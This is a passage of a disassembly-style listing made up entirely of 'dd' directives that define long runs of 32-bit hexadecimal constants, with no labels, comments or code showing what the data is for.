62A29A27h, 1A54E0Eh, 0D2B8AC72h dd 58EAB14Ch, 9D92B5ADh, 8FA3B5Eh, 53452374h, 7B56A68Ch dd 1AF14899h, 0D4FEF714h, 0F878B04Ah, 2BA82FD2h, 50D2824Bh dd 9F28A3C5h, 0E5ADAC7Dh, 0DCACDC90h, 22E0908Dh, 0A2D84214h dd 0E5E90207h, 1442495Eh, 42D55257h, 0EB24F4CBh, 2D6D1F8h dd 0F797E826h, 8FB4EE95h, 4C75ED68h, 0BD864A76h, 0DD9A53D8h dd 530FD465h, 0A7C760D2h, 9409010Ah, 0BE289D56h, 159514F8h dd 3B064258h, 563A76D3h, 38393280h, 0E55C6094h, 3E9D1A45h dd 60CA3215h, 810E8D28h, 4CC24995h, 39E93F5Ch, 8AA72141h dd 0A6F6F122h, 6BAE0A49h, 3B391444h, 3A89B524h, 84102695h dd 9224F34Eh, 89025832h, 36631B47h, 5A41402Ah, 5C101881h dd 20511504h, 3B92315h, 5702FE83h, 46FAF472h, 0E4468D0Bh dd 2AFBAD9Dh, 5824C02Ch, 891DC50Fh, 0C63BFC30h, 68107205h dd 630A271Eh, 4BF244h, 8004EBC8h, 0D9384A24h, 2A9909F9h dd 741BDD0Ah, 243802Ch, 49F4755Dh, 0E8849F10h, 0B034BF98h dd 0B82E93F2h, 0D71462A7h, 53C4B90Bh, 5625C529h, 0B7F8C629h dd 5E1235BCh, 0BBF86E08h, 6F4B514h, 8BEFEC7Ch, 4212F0E2h dd 0BAE3EC3Ch, 0EFF02268h, 44250ED0h, 4C9956B2h, 0C6E7B969h dd 1390222Ah, 33542192h, 25D94A08h, 0F3A7D1F9h, 38B885E5h dd 8A8A4513h, 0C47DFCD6h, 287102B9h, 460308FDh, 0D5F517D6h dd 0F9BE7888h, 6A1C7A29h, 65029303h, 0F8125346h, 2F749C3Ah dd 4D8DB501h, 0E0315FE4h, 0D35104E0h, 7D99833Eh, 2D0AF1ECh dd 536785FDh, 31E81D90h, 7CA4AAF5h, 0C63CB79Fh, 14C9A3C2h dd 0B298F9CFh, 60A4E71Eh, 0E496FC18h, 0FECF8204h, 106629BBh dd 3075EC68h, 4C5D15AEh, 0F80F89C3h, 0ADC3E762h, 0EBAC2065h dd 7AFD2811h, 25E92E40h, 7EDA0503h, 85CF1061h, 0AF32ECC8h dd 0CB4EE819h, 430D558Ah, 0C6F52486h, 173DD1DBh, 0F052511h dd 0E70FCE21h, 0D5723940h, 8B1EA688h, 0B8894C96h, 14661366h dd 0ED8CEA51h, 0F1784DEh, 87B09F8Eh, 0B1E99EBBh, 4148DD2Ah dd 60267F3h, 188220Fh, 0FDB4757Fh, 745FE884h, 0B226F69Ch dd 0D525153h, 977E4B68h, 6883AF2Ch, 1021945Fh, 0E263D4BEh dd 462EE912h, 50C73BA6h, 0A7850F10h, 78247665h, 45868C2Eh dd 95110990h, 173A6618h, 44D63D10h, 448BF671h, 7342EC02h dd 0DFE6568Ch, 18B60DA9h, 0C5118DD2h, 8616B8A2h, 2278436Ch dd 0E1594A06h, 166E0846h, 0A1BA7AA5h, 0EB2007D3h, 737DA284h dd 0E988A79Dh, 0F2BF71D3h, 0E1C9901Ch, 103A841h, 0DF164412h dd 82369429h, 280E08B4h, 460E1AD9h, 0D367C49Fh, 72A57768h dd 0C99F4D95h, 0DC76228Ch, 90A19D72h, 3C1EF248h, 0E8667305h dd 9D6872A7h, 291AFD99h, 7DE40E8Bh, 119D1B39h, 0DAA3D2CAh dd 0F9B038F4h, 41F49018h, 339166A7h, 433625B2h, 0E4E98417h dd 429A1A3h, 4B70F1D8h, 0A446216Ah, 6F735020h, 714CE879h dd 0ECC3F31Ch, 0D9CDE3Dh, 9C88A946h, 23E0365Ah, 0FA47D1EAh dd 0F2D071E8h, 61E98831h, 54236F4Eh, 3A684744h, 0A92D108Dh dd 1B7B19C6h, 56638B2Ah, 5E22721Ch, 68D2332Ch, 537F8A5h dd 848A1A76h, 8D170515h, 0D007458Ch, 0F09084E0h, 3B79425Ch dd 83E67205h, 4FCB1CC0h, 3BCA8518h, 7068F9E8h, 0CC511374h dd 714A1608h, 0C01A0F45h, 0A424C083h, 485AFBCh, 0D004C280h dd 0C2DED429h, 6A7CD9E8h, 0E6D45832h, 0B9EB616h, 4EB25014h dd 3354824Bh, 7DE8666Fh, 0D24EEA50h, 20CDF88Ah, 32B37096h dd 4E7EB6AAh, 73288D8Bh, 0E747ACDCh, 0E022144Ah, 6A2D13B8h dd 0B735CB10h, 63A3B60Ah, 60501127h, 428C4229h, 0D596D91Ch dd 28858B61h, 87D8653Fh, 0B6B8977h, 0D5B33B9Bh, 2F668CD1h dd 25FC22C8h, 0FE5013E8h, 0E50D07BBh, 0CB3EFF29h, 221643EEh dd 0EA2980CFh, 0E0EB80F8h, 0B0074E9Dh, 82C170CAh, 0F9A571D6h dd 1C14B2DBh, 8852AD24h, 0EE2FE813h, 11F0E5CFh, 234B4A98h dd 70EBF846h, 0AB459D8Fh, 0CC8A710h, 0C414C108h, 21032A7h dd 185F14B0h, 0A0D0020Dh, 28891808h, 4552AD86h, 1C1C90F4h dd 0E611B121h, 0B8E8B14h, 45B52264h, 0BDEC60B8h, 0C83B2C81h dd 0C18BF87Dh, 28210BBEh, 6A037F07h, 986858A0h, 0FC98BF3Ah dd 18823EA9h, 9927E240h, 64F8A5FEh, 81504B7h, 0F91E1B82h dd 0A5F92515h, 53E85531h, 0C3EBFB0h, 986E86C6h, 0C35E6523h dd 0DEC21952h, 0E804820Ch, 0C31E901Dh, 50682757h, 2C106568h dd 0DB06D782h, 0C29DCDF8h, 777392DEh, 56625C22h, 0C694CDEh dd 0B7573127h, 6D46105h, 654CA308h, 64BC1BC8h, 19A46240h dd 51830C44h, 0F3C3223Dh, 5E0D2748h, 24F4448Fh, 0E50CF54Bh dd 0B095244h, 0C618B0D2h dd 11B6C05h, 18ECB55Fh, 8D0C19F3h, 802B40B1h, 401F3D51h dd 330775CCh, 0E2E9F61Ah, 0AC80F63Dh, 0CE598929h, 0E98BA9F1h dd 4257D4BEh, 55FDE8Bh, 34AACEABh, 0D21709CBh, 534C79DAh dd 9884D047h, 8B2DD3h, 0FB3BEC7Dh, 0DE030872h, 0D1EB17A0h dd 0C0EFC125h, 267D894Ah, 20D969F0h, 12989256h, 71CE05E8h dd 0BF0B75E9h, 0CD69F247h, 0EDDE8AA1h, 3E890805h, 40916FDh dd 0C2504976h, 0F8682695h, 0BFF42870h, 0B4B3B237h, 0F0E80C57h dd 4D398B55h, 6846E7F8h, 34903BD4h, 630C8909h, 448D1B03h dd 0A314D3B4h, 66833B37h, 0FE40F0E9h, 4DFF05DFh, 0AC575F4h dd 1160F08Ah, 3B06B9Ch, 630B8604h, 0FC7DAF95h, 34FF690Ch dd 4E68A803h, 0F8711610h, 6E8057A0h, 7B08B334h, 64FCA0D7h dd 0AEF409F0h, 3BD5D52h, 0A9046A12h, 0E04029A2h, 6406758Fh dd 0F7E8AEE9h, 0EA6AE086h, 35F4BECCh, 0A7418B48h, 4026829Ah dd 78DDBD8Dh, 4C891F3Fh, 6212EA03h, 0A00815E4h, 86FEA957h dd 9533DCF4h, 1E7E0C09h, 0C46AD44Bh, 5E8D26DCh, 24E6B2E0h dd 4FC14244h, 1847BD80h, 21462A0Fh, 0DD58E4C8h, 0C836ACCCh dd 51AFB918h, 811E9792h, 3F197614h, 0FEDB53C1h, 0EE01DE09h dd 807A0AEBh, 0B8489D0h, 0CB321058h, 61F57CF8h, 4014C381h dd 0FFC4D0Fh, 55FA8535h, 29BFFD61h, 0C55E643Fh, 3225F3C1h dd 6C59B16Dh, 6EA84526h, 0AC323D94h, 87DC2958h, 0D1CC5242h dd 814495B1h, 57AB169Eh, 756FA8F3h, 74F73B1Ch, 4227557Ch dd 3FF436FAh, 17655C94h, 0E4213B24h, 2C554E19h, 2F3EB5F0h dd 3F1C477Eh, 0F05E4B7h, 510C488Dh, 60870E6h, 0C365CF9h dd 4DE32086h, 0B99E5284h, 0B628F2Ch, 0D698DF43h, 7C2C1E3Bh dd 0C20873B9h, 5B590BCBh, 0FE587582h, 5A255A23h, 3F26F11Bh dd 0A6569DC8h, 9BE816B5h, 275EF7CBh, 0B44DD12Ah, 8B8EC9DEh dd 18CB8EB4h, 594C688Fh, 5F84E73Bh, 1E80248h, 9DE1CC24h dd 219AB9EEh, 0C2421090h, 0AA145D7Dh, 81BAB822h, 75CB9E2Eh dd 0D1D88B63h, 76733024h, 0F77DA948h, 0B86AA1D2h, 58530180h dd 276D13Bh, 1CF21CA5h, 0A418E829h, 63255E24h, 106A998Ch dd 50C8B7Bh, 57097514h, 1C00AEC4h, 4D8D63EBh, 5D89390Ch dd 0ADDC51B6h, 0E7B7505Eh, 393C740Dh, 8037D428h, 63BD2473h dd 761707E3h, 7B048A21h, 1011187Eh, 0F01FF07Dh, 0F816F808h dd 7FF9F904h, 2E86C6D1h, 863B412Eh, 81DF7235h, 4CAF9606h dd 0B888E3A9h, 9DA2CAA6h, 0DFAAFBACh, 5617B7CEh, 91323374h dd 0A42088D8h, 0A0FD592Fh, 0B537B0B0h, 0D6EEB12h, 7A1425FFh dd 92DE708Dh, 7E148B40h, 0C40C45C0h, 8559BA1Dh, 8800697Ah dd 46073E04h, 8FE8359h, 80EC7C40h, 3DB0D967h, 87BA1C10h dd 0A1DD0610h, 9CC81411h, 0DA0D1071h, 7024D9FBh, 0BEAC1412h dd 5EC5BCD6h, 2154AD1h, 0E0878002h, 0BADAF5Ch, 5E853015h dd 8849A790h, 31DB40AFh, 0A3DDCE5Bh, 0F8C11D2Ah, 56EB4D63h dd 46863875h, 4401C815h, 6278083Ah, 4234CDF9h, 431E2002h dd 4CDD2170h, 6DD99DDCh, 83130341h, 361205C3h, 98CAC950h dd 2C518228h, 1643E3Ch, 0F7754E08h, 1D4CDBE9h, 3ED7E98h dd 0BB47382Dh, 84D4A569h, 5C830F05h, 0CD821864h, 0C39055ECh dd 1AA1C908h, 362FCFF3h, 4369E641h, 0AE1845ECh, 800544EBh dd 141235A4h, 4283F414h, 2EE1781Eh, 84157223h, 8E963EFh dd 0E4B8732Fh, 0DF40B548h, 0C853C3E8h, 7E9C5993h, 85A3755Ch dd 6C3456F8h, 4760375Eh, 72354B0Ch, 6CBB1F81h, 674E651h dd 75021781h, 3253560Dh, 4A861529h, 427677Dh, 0B18012E5h dd 0B73B6468h, 6E57DF66h, 80033218h, 0C9BF2481h, 4F0741D5h dd 5366AC8h, 268033F1h, 7682F4ABh, 0FEFB5078h, 4B64FE8h dd 3282ECAAh, 0B6C65C68h, 0F4533E6Bh, 2D2F2085h, 0AADA03C0h dd 5272C73Ah, 36132373h, 506F5D7Fh, 844E1148h, 987864Eh dd 72CC3B50h, 1427B052h, 104149ECh, 8B28C7E5h, 1883D9DEh dd 9A5912D9h, 0A2BFFD9h, 775A3CF6h, 0BE569724h, 42914A3Dh dd 14124354h, 8D8F3DECh, 228879C1h, 0DC88FDF8h, 2D7A448Fh dd 68971888h, 0C2B8FD5Ah, 0CB6C791h, 0CE6E1ECDh, 0BFB7DB2h dd 0FDC78813h, 480BD3C9h, 5C1ED856h, 0D36ED002h, 0FF2F658Dh dd 0C5BF0CD6h, 388A9C34h, 5E531844h, 0FCACD1ADh, 0CE428515h dd 0EB211CC6h, 0C6E55867h, 0E6B553AEh, 0C6EC28A3h, 3F245D73h dd 0D932E559h, 5FDE591Bh, 0B9C03342h, 0F8381C84h, 4FE468D9h dd 0A2442187h, 87F05312h, 1A398E28h, 3148358Bh, 74529A77h dd 3AE39AFh, 6C274820h, 72CB8027h, 96B771D6h, 0EB5CC54Ch dd 0FFF0DE62h, 5D4C2FA4h, 0AC1D8BC4h, 3AD3555Fh, 2F34028Ah dd 0D65F3C44h, 0A716478Ch, 7C561036h, 0D3926DB9h, 8A01DC3Ch dd 0ACF534C2h, 70684048h, 1C0F693Fh, 3E08E6AEh, 99BBD83Eh dd 39131464h, 5C74A212h, 0AC551554h, 0C00987F8h, 84B044C5h dd 0B11EC814h, 53C48388h, 0E9406022h, 90F9AE2h, 0A70E54E2h dd 6A10D011h, 0E084D99h, 9248A04h, 212CAB28h, 0C576508h dd 0A18EC6FEh, 0ED80595Bh, 0B80F76C0h, 0E5CFA1Bh, 7C8D0475h dd 3B4101C0h, 0F14E72C8h, 2DAA3AD4h, 38FB5A8Bh, 0F2A64E6Ah dd 0A7A3CF94h, 80340A77h, 7C8B9C20h, 0B1B73C22h, 953B14A7h dd 0D0CBC6Ch, 82645CE8h, 5E7E4975h, 100BE12Fh, 81BC7C88h dd 74FE3B5Eh, 9E612814h, 442E6451h, 0E461650h, 0C76F754h dd 68178D34h, 0DB3E8C30h, 9AC480E8h, 0B77D51BAh, 7E9BA7E7h dd 0AA79E704h, 69CAA843h, 0ED3A8A8Dh, 85E47493h, 5D54BE6Bh dd 422FDAB5h, 0C5215E0Ah, 8AD2B808h, 57182D4Fh, 0D5306802h dd 697DF2AFh, 0E90A3F21h, 3C52AFABh, 0E8320490h, 0DA59AD1Dh dd 0E3085E18h, 0AC0944E0h, 5CA6418Bh, 0F2D58D3Ah, 9CA14A32h dd 36C26F5h, 0C6E862A0h, 26BE0049h, 0FC941036h, 0DB250848h dd 39F08956h, 6D905D1Dh, 33D3975Ah, 0BF8A74F8h, 930B0DABh dd 98624D2Ch, 922FD45h, 0C442BFDFh, 374EC3B7h, 1064A3E5h dd 2A991A07h, 8A5518A2h, 58506C11h, 0C75ABE1Ah, 0F0980B6h dd 0EAFAA384h, 83F85F80h, 0D108C730h, 4D751F39h, 0E9400E94h dd 456245CFh, 9CB2488Ah, 0DF4F76A1h, 85F06FA1h, 0A222FD34h dd 0E807908Dh, 5282A421h, 42642636h, 0E5EE2720h, 2ECD63D3h dd 0D2782DACh, 0F8540D0Bh, 75A19491h, 9ECCE065h, 942408B2h dd 0E8433F3Eh, 0F4394BCDh, 9954A4Fh, 0C15D81A9h, 0B6FD03E6h dd 63BA6751h, 894B517h, 9064AF0Bh, 6D991150h, 29321497h dd 4D531C58h, 921C2486h, 0B002056Bh, 0D27A842Dh, 0B99D6E0h dd 0E34F0B02h, 7C9E4704h, 4E0652FBh, 60BFBE5Ah, 205EA0A8h dd 3D2B5356h, 0A63FD6C2h, 0A0091BE4h, 0D0AD0366h, 0C1354F50h dd 47286AD7h, 53DF6A83h, 9036FEFDh, 2264200Ch, 0A49D55A1h dd 0C620E69h, 93B83102h, 0E63BBB3h, 53BD1FF4h, 33D3E733h dd 6C3D39C2h, 74FC0A01h, 260ABE6Bh, 0C5D02697h, 8410CE53h dd 7054C1B0h, 62629C12h, 9B19F885h, 8A4E1548h, 58506511h dd 0C54DB71Ah, 5774C507h, 88375F8h, 0C1FDF78Bh, 429E758Eh dd 8544BE85h, 0D0865648h, 94824A4h, 27BE3AA1h, 45F611DFh dd 14269723h, 59994440h, 0E810A852h, 44B7441Fh, 9DEB86AFh dd 0FF94B9ECh, 84FB72Bh, 61F85862h, 0E026B18Fh, 0C4B722FAh dd 962C61A1h, 7CB84BF7h, 0C77E53F7h, 22422B4h, 2D6C1F74h dd 43A17E88h, 4F852C87h dd 0B4F8E13h, 0A216D4B8h, 56C0E411h, 0BEBD641Ah, 0FA2C3871h dd 0C05D4F41h, 4FCCF578h, 14AB8B11h, 0B5D63DB2h, 8DD5992Dh dd 0BD7C7AC6h, 6F683569h, 0BFB7AD5h, 5FAD7DFh, 0B201FC21h dd 8022F312h, 42481BDh, 12910E75h, 0D20125EDh, 805E5BCDh dd 9D38F669h, 749D3663h, 8D4401Eh, 0D4105A6Ah, 8AC2316Ah dd 5DDD2EC0h, 0FBD92611h, 2C024312h, 641857F9h, 0DF69D8E8h dd 0D556EA12h, 9E775D13h, 85E4F45Ch, 74A3B60Fh, 0E662843h dd 682EAB46h, 9467FFC0h, 1418515Ah, 2D377566h, 301A086Ah dd 0BF9BA248h, 3DD82CD3h, 0F3C6FC08h, 0A15B9D48h, 0F9CA385Fh dd 0D38F28F0h, 0E9124411h, 2A80C92Eh, 0FA0A0D0Ch, 0FBEE25B5h dd 9A42CA73h, 3D5F1BC3h, 5332B2B2h, 3019F045h, 55243E16h dd 0FC451DE6h, 8B27742Ch, 0BF39A92Eh, 7C28750Ah, 0E7BC235Ch dd 721871Eh, 0AB2E910h, 5A4256A4h, 3820942Ah, 1024BE0Ch dd 0DE54C29Eh, 5983A15Dh, 5B642E74h, 0E3E95F2Ch, 8D08245Ah dd 74617442h, 0E95C9FE2h, 0FC2D3217h, 3C12F5C2h, 0A455FA5h dd 563B190Fh, 2621FC43h, 0CEE62110h, 253B1D57h, 0E2F75E0Ah dd 198280EBh, 2276E6D7h, 4A11CF66h, 0A405AD59h, 1B4CDC7h dd 0AB563512h, 4BA71212h, 85BE0711h, 1708BDF9h, 31DAA544h dd 5FDF6528h, 5950184Dh, 0ABB04EEBh, 7BFE4440h, 0ED2F1746h dd 441254D3h, 4C421AE3h, 5A37824Ah, 113F8213h, 0BF04DAACh dd 215F64ADh, 51E03A11h, 49D88B4Eh, 0AECC3A2Ch, 0DB41848Dh dd 0C47012E6h, 1D9A7053h, 0EEA56BE8h, 0FACB909Ah, 0EBC5A92Ch dd 27896A4Ch, 8D64501Eh, 22A93E53h, 0A21C84Ah, 7CD12E10h dd 2B60964Ah, 8A311A40h, 544FEE60h, 5AB34040h, 83906414h dd 13EB56F8h, 0D5AE3162h, 861C44E5h, 0DF9F289Bh, 61E93E0Bh dd 5386EE49h, 0EE8E10E1h, 73168D27h, 0D2F94B46h, 5D53531Dh dd 75124AB9h, 203AFD23h, 0D2E5970Ah, 0C25C4988h, 8D18C112h dd 0CFF8565Dh, 0C4BC9C11h, 32EE5B74h, 11827F5Ah, 42DE1045h dd 63955E4Bh, 63F56A57h, 634E6ECAh, 27B61C12h, 9E861A2Fh dd 83825B6Ah, 87383BA1h, 0DC2BA68Bh, 5E563412h, 0DC404DBDh dd 0D212E7ACh, 70A9751Ah, 106E0FE6h, 7CD6C2D0h, 321571Bh dd 0BA700C8Dh, 48A800Fh, 80018802h, 4A7AC761h, 0D2851049h dd 0E297EC7Dh, 0A7397972h, 0BB5B4E50h, 0DF0C9C9h, 3C800348h dd 6752030h, 94CB8B4h, 5C5EEFEBh, 8AEA4C29h, 0C9840A13h dd 4C3A5C06h, 1750254h, 0F0EB4240h, 53D39155h, 57070E6Ch dd 27187539h, 0F9539F1Bh, 87E234AAh, 8D140A0Bh, 887A150Ah dd 7649EB9Fh, 0B28B3948h, 2B95C00Ch, 6817A0FAh, 0D7CC3F54h dd 4205411Bh, 0B1A91041h, 3896303h, 0B88245D2h, 63607D39h dd 414B7E30h, 738DBE80h, 36296C04h, 461D397Eh, 792F74FCh dd 3F54086Eh, 1804E742h, 0A9A90689h, 48837F08h, 56C99F03h dd 0DFF8A7C9h, 4894709h, 0B1025C31h, 0BAC87C86h, 2F30CE98h dd 95F669F7h, 0A3809DC4h, 24AE6C1h, 0BB049281h, 883D8695h dd 5D58DB69h, 15B81EC8h, 139FAA2Eh, 0CB5A0A47h, 57568AD4h dd 0CA76AAADh, 3F185A5h, 1F98318h, 68A90AFh, 84600788h dd 47460BE0h, 7521C349h, 0A0F4C6F0h, 0E8955DA2h, 498A045Ah dd 10031708h, 7C30F980h, 393850CFh, 4000037Fh, 0C032EDEBh dd 9301B0C3h, 0F95AAD1Fh, 0A129E8E8h, 0C07E9BAh, 4CE6583h dd 0A8F9D82Bh, 0CA397819h, 2ACB908h, 74C13A0Fh, 1FC45D14h dd 48098DF0h, 75D13B20h, 6411E2B9h, 329057B2h, 38BEDB25h dd 90FF106Fh, 0E0465F13h, 0CA5E7EA7h, 33493FF6h, 0FE00A241h dd 91F1EBC1h, 44A0AABEh, 89A1110Eh, 0A8E480Dh, 4C8AACA0h dd 38A83048h, 0E003A4EBh, 0C9335782h, 8AD2418Dh, 0FA80D28Ch dd 0AC2053Ch, 4307750Ah, 4101EFDCh, 809AECEBh, 0C939435Fh dd 32414440h, 20070BD0h, 0F296CBBAh, 24EEFAC4h, 2A8DBA2Fh dd 8AF16750h, 480D216h, 9585091Ch, 8017EBEEh, 638896F4h dd 3E807414h, 467E6086h, 0CFC7E24Bh, 961B2FE9h, 8BC0CE0Dh dd 5DDB122Eh, 0F196724Bh, 53AA458Fh, 90DFE646h, 4AD92B28h dd 2EFE2E51h, 0C21AEDB0h, 46403386h, 7C04D3E0h, 25DEEB53h dd 0A5A52C3h, 108448Dh, 890A2081h, 4E25EAE5h, 6AEACC2Eh dd 25172E48h, 0B31E7C6Bh, 7FA1035Eh, 18042023h, 305B44B7h dd 14141988h, 7A1C32Bh, 1FF10Ch, 0E6483C74h, 1606C828h dd 401DA02Dh, 4DE85156h, 0A35E087Ah, 0ED741334h, 946BC0C2h dd 0B1DE4C0Fh, 51115ACAh, 0C31812CDh, 0F72324C2h, 1A1B16AEh dd 3AFF0C98h, 1282FE3Ch, 0FA5F018Ah, 0D5277572h, 0D9436178h dd 9DF46121h, 44256877h, 56E8168Fh, 1FF36158h, 6CE90CBDh dd 73582F84h, 69057291h, 31495F75h, 8AB42759h, 334BA589h dd 263821AEh, 0E3984153h, 4946AB8h, 0C3FE4941h, 10CFB60Fh dd 95BCDF80h, 0DB841628h, 0FF3DB5Bh, 0EB510361h, 70B4794h dd 72F5868h, 5F59E59Fh, 422EB520h, 49CC94B8h, 0E038D6D2h dd 1065384Bh, 1F725056h, 0E84C1323h, 995D2F0Dh, 372A3CB1h dd 0E009ACDDh, 3A2CD489h, 0A6FEA185h, 0DD864F14h, 8C505A82h dd 0EE95E461h, 82E82B61h, 0E827921Fh, 92F4CE5Dh, 0DC2727B3h dd 6115EAD3h, 3213D621h, 7127371Ch, 0D03EB25Fh, 31843758h dd 0EE125483h, 32FFBDE8h, 4399CC56h, 0E8894CF0h, 2916A752h dd 0E49455C8h, 9194DE9Bh, 54C48B16h, 31D8C553h, 567BE8ADh dd 0D053196Ah, 24C82A48h, 505C682Eh, 587E026Bh, 9DCAC6B7h dd 0F081BE6Eh, 0F8815820h, 0F08473AEh, 46FDB121h, 7486D921h dd 468EE853h, 21902BD1h, 0D520CB23h, 930FF040h, 0E8843036h dd 5491B6CFh, 1BF42A32h, 945B5DFDh, 0F8C815BAh, 0F162E465h dd 0FC1599A5h, 0E91E00Ch, 1550BAB4h, 0C31DA998h, 0B6959D01h dd 9C72C35Bh, 2C41A470h, 1898B8Ch, 4291F229h, 8B123E08h dd 0B2234333h, 0C321621Fh, 0F20EC3E1h, 28C25FD3h, 1565740h dd 2C05464Dh, 1A4C8BF4h, 7DCBFB41h, 4CDF7D46h, 0D1305C39h dd 28A1A49h, 19063A2Eh, 753B4618h, 4220CF03h, 0EC10B21Fh dd 22C28757h, 4AAF7A0Fh, 8E8157DEh, 2BC22BC1h, 0C42323D3h dd 310F2DC1h, 0B4DF59CEh, 0AF0BFBE0h, 51092BEEh, 19F82720h dd 5B37DA4Fh, 2B2918EFh, 1B5602C7h, 86A068D3h, 4152D861h dd 7B710D8h, 15C68CF9h, 0D63B8806h, 0C67758C0h, 17810872h dd 1E4240FFh, 34BC9869h, 74B05264h, 8CDD6C55h, 3CC88B12h dd 95809558h, 5726177h, 50F98301h, 4B6A0673h, 2A581D99h dd 1184F277h, 0E4424847h, 2437223Fh, 112E7232h, 39211226h dd 891E081Dh, 840C1C19h, 0C8730A3Ah, 2B2360BAh, 0BCC703C1h dd 3E1BEB4Bh, 51383DB9h, 421F6ABEh, 6C5C0790h, 90D7FF42h dd 0A346C6F3h, 16104EDDh, 68300EDCh, 3154418Bh, 71B925B9h dd 29F9A5D4h, 0C8311694h, 8195308h, 5F666680h, 25DBE72Ah dd 0E4D2F42Ch, 0FCD47101h, 0B446BD08h, 5043AF3Ch, 0FBBE90E8h dd 73507C11h, 0CCB0FA98h, 9C131028h, 0C1080550h, 0AD14E839h dd 0DCB461EEh, 800A70E0h, 512780B9h, 28DC7101h, 18489744h dd 0E19D3C6Ah, 0E1615DEh, 0C710F422h, 0B18BE84Eh, 0F2B9F1F7h dd 49CA8CFFh, 0E855DFFAh, 4C29D28h, 0EF861809h, 0ED118C2h dd 8C6149CEh, 8A18EBB0h, 0C8646B4Ch, 6A44301Dh, 1BC9AA24h dd 0C709F4C3h, 9418DA79h, 97ABF3B5h, 3444E694h, 41FA883h dd 42783EBFh, 70E4F963h dd 47750F19h, 1216042Ah, 8A0C1E40h, 0BF3434F0h, 0E23336Ch dd 0F279F302h, 60EB2268h, 69502792h, 1064BF28h, 5A053786h dd 60BF3E75h, 5C37100Ah, 2E750541h, 52905059h, 0C61E8858h dd 54422101h, 2190E23h, 1E0F4CCFh, 10548012h, 9741437h dd 10941B2h, 0EDE8E4EEh, 402E79D2h, 4842ECA9h, 44130732h dd 88A58021h, 0EB9597Ah, 0F50009FBh, 3789A20Fh, 62177C9Dh dd 6828095h, 0B72E848Dh, 8430DBB5h, 2E87B519h, 42146253h dd 70C9CE76h, 0ECB89FC9h, 84BA4875h, 0C35F20D3h, 9A667C17h dd 2454DC16h, 0B0D6918h, 87323A58h, 132C910Ch, 27093331h dd 0BF10386Dh, 0D90C89F8h, 6FFC4BA7h, 0E591B996h, 6935FCB8h dd 274BF41h, 947FD8D1h, 15A6C6AAh, 0A3E8D040h, 0C11003FAh dd 51B04D8Dh, 4EC8083Ah, 5852AE93h, 0E88CB808h, 9796EC06h dd 63132224h, 0B4885C50h, 95C16A86h, 42F9E6D8h, 841B0406h dd 30E47521h, 0C2D30C8Eh, 4F5C51A3h, 4582B226h, 6D2F2654h dd 6889D862h, 421AD66Ch, 6A0D3413h, 257BB122h, 78B20BACh dd 0B1DE336Ah, 85B1EA70h, 6FF240Dh, 8E018C2Ah, 2642E25Eh dd 0F4427C68h, 5FF362ABh, 7B0AE82Eh, 3BF42092h, 0CD880892h dd 0B6B15E9Dh, 52BD1904h, 0F808B99Fh, 8214C6B5h, 14B0D517h dd 7F9CD8C4h, 4A097AA6h, 203111DAh, 5CC2DCA8h, 0EB8774B8h dd 0A876519h, 890EC832h, 84F6CF2Bh, 759B071Eh, 25EEDC25h dd 55230B6Fh, 8132792Eh, 3885E83Eh, 0C2F097C1h, 770EA174h dd 8C89F808h, 44846908h, 428498D8h, 0A889765Bh, 89884D08h dd 0C814F844h, 3D44B821h, 59850348h, 4987066Ah, 8F7FC597h dd 48C7CBC3h, 0B25B5D26h, 159CB75Dh, 9EB43390h, 67CC1D0Dh dd 0D748200h, 7D09A2B9h, 39402000h, 0F8137519h, 3D42E8D1h dd 75FF788Dh, 5357FFC8h, 1250A4C9h, 102D5442h, 54894BFEh dd 0F30B2C04h, 1504A885h, 41A2184Ch, 0D0309151h, 9A6C8D5Bh dd 393C6724h, 3DA5840Ch, 3084C746h, 902234AEh, 3FE1B7D7h dd 740E1230h, 0C57D9C09h, 0CD8D7203h, 2E2809F1h, 502939B2h dd 467CA546h, 62B24CA5h, 0B07E7856h, 18ECBF56h, 19DE8A02h dd 0D309AEE8h, 3CA679D8h, 0F3B01016h, 2558595Dh, 95A1DEBFh dd 46983C57h, 6484D909h, 0B0F83410h, 0A095239Eh, 0E1E81E8Ch dd 0C19492AFh, 73C73B56h, 3D0B3A12h, 0D5D7933Dh, 0DFF89EE0h dd 0C4EB4A4Ah, 20209C12h, 467A0966h, 0EB5919C1h, 10F8B6B1h dd 0E66DDFF4h, 295D7AD9h, 2F3EA3E8h, 2B20E6E3h, 0B72AE7ECh dd 1E36626Eh, 875304B1h, 170E853Fh, 2413EC38h, 86A9A01Ch dd 4F0A5489h, 0FDB00877h, 31AF4642h, 0BE119338h, 2932D196h dd 89F4F9ACh, 0F9DBAF14h, 0AEB5F413h, 8A6B56C5h, 0F9864ECDh dd 0B527841Eh, 0B081C466h, 1070ECF4h, 0C7AD06D6h, 0EFFC9E9Bh dd 42E87930h, 79A09405h, 0E31419F0h, 922C9817h, 65FC8BF2h dd 92705FF1h, 438826BEh, 5898AE25h, 0FF525885h, 0AE5877A9h dd 99D88A18h, 0A1157B98h, 0F2C1D61Ch, 3474149Bh, 5822718Ch dd 2C5BB1FFh, 3EE49D09h, 8A7AD0A7h, 0DDE1F65Ah, 2CB107D9h dd 6105EB9Dh, 3F0EA07Dh, 0A63D7CC8h, 10F2248Dh, 0FCBF2ECDh dd 0F8C9BE45h, 7896097h, 5E03754Dh, 37127B7Dh, 1E1996CCh dd 0FE75F042h, 3DFC40C9h, 52E8EE4Bh, 78BBE083h, 5738B1Dh dd 74E770DDh, 6818EC12h, 0B415E888h, 90ACAC04h, 64B988BAh dd 10F948FAh, 40F222ECh, 2684FCF1h, 0A60657CAh, 0D4D865EAh dd 5994EA9Fh, 35958784h, 7FF8C20Fh, 8411C424h, 652FB84Ah dd 0CBD2E02Ah, 50C6E9F0h, 6D59FD5Dh, 428C9420h, 0F5417C42h dd 0E610AB67h, 14488AADh, 5CB44F4Ch, 74B7ABFDh, 0FDB0212Fh dd 0E070111h, 2EAD3FC4h, 0C4DDE310h, 44674390h, 5AB4465h dd 0A1321C68h, 4A563BA0h, 49DBDCC6h, 2AD0FE41h, 9F4DEF8Ch dd 9348D969h, 5ED050Ah, 39920220h, 0E4C43EB6h, 0CC222950h dd 0BAF1EB5Fh, 0D9BA35B6h, 0FA24AC5Eh, 56FE3E95h, 0E8420E46h dd 6713AE89h, 31C3CF7h, 64FEF035h, 265A0CA0h, 2F149C75h dd 0C8267F4Eh, 38F8C205h, 842384FAh, 4F7615ACh, 38D01024h dd 0BD4E8DC0h, 0F140CAB9h, 53055C6Ah, 2958592Dh, 0A4A5F304h dd 83EDFAB9h, 7EF5BD11h, 358BAB16h, 0F62BF2E5h, 0CEE14ACCh dd 0D314D40Dh, 340FD168h, 593BF184h, 0CE812D5h, 